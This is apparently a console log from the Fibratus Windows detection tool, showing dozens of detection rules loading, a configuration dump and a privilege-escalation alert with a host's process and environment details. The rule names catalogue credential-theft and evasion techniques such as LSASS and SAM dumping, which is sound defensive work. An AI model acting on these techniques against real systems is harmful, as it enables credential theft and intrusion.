C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:19:15+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T16:19:15+01:00 level=info msg=bootstrapping with pid 7684. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T16:19:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false use-template=>true port=>25 to=>[] content-type=>text/html] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-thread=>true enable-dns=>false enable-mem=>false enable-fileio=>true enable-registry=>true enable-net=>true enable-image=>true enable-threadpool=>false enable-audit-api=>true flush-interval=>1s stack-enrichment=>true max-buffers=>36 buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-vamap=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text log-stdout=>true max-age=>0 max-backups=>15 level=>info] + output ......................... [ http=>[ enable-gzip=>false timeout=>5s method=>POST enabled=>false tls-insecure-skip-verify=>false endpoints=>[] serializer=>json] elasticsearch=>[ flush-period=>1s timeout=>5s healthcheck-interval=>10s template-name=>fibratus healthcheck=>true trace-log=>false gzip-compression=>false sniff=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ level=>info enabled=>false] amqp=>[ enabled=>false vhost=>/ delivery-mode=>transient passive=>false exchange-type=>topic tls-insecure-skip-verify=>false routing-key=>fibratus url=>amqp://localhost:5672 timeout=>5s durable=>false exchange=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false excluded-files=>[] skip-registry=>false fastscan=>true skip-allocs=>false excluded-procs=>[] skip-mmaps=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-20T16:19:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:19:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:19:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T16:19:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:19:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T16:20:37+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T16:20:37+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T16:20:37+01:00 level=info msg=bootstrapping with pid 12544. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T16:20:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] port=>25 use-template=>true enabled=>false content-type=>text/html] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-thread=>true buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-registry=>true enable-audit-api=>true flush-interval=>1s stack-enrichment=>true enable-image=>true enable-dns=>false enable-mem=>false min-buffers=>16 enable-vamap=>true enable-fileio=>true enable-threadpool=>false enable-net=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 log-stdout=>true formatter=>text level=>info max-age=>0 max-backups=>15] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ url=>amqp://localhost:5672 routing-key=>fibratus passive=>false vhost=>/ exchange=>fibratus durable=>false tls-insecure-skip-verify=>false delivery-mode=>transient exchange-type=>topic timeout=>5s enabled=>false] elasticsearch=>[ template-name=>fibratus healthcheck-timeout=>5s index-name=>fibratus trace-log=>false flush-period=>1s servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck=>true timeout=>5s healthcheck-interval=>10s sniff=>false enabled=>false bulk-workers=>1] http=>[ serializer=>json enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false method=>POST endpoints=>[] timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-allocs=>false skip-registry=>false excluded-files=>[] skip-files=>false excluded-procs=>[] fastscan=>true skip-mmaps=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-20T16:20:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:20:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T16:21:10+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 388821 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:05.9506159 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffc38b888852d0, file_path➜ C:\Users\nedo\AppData\Local\Temp\ATL.dl~, irp➜ ffffc38b819ef778, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ File + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-20T16:21:10+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 388821 + Pid: 10680 + Tid: 19480 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 16:21:05.9506159 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffc38b888852d0, file_path➜ C:\Users\nedo\AppData\Local\Temp\ATL.dl~, irp➜ ffffc38b819ef778, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 19480, type➜ File + Metadata: tactic.id: TA0004, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 10680 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY 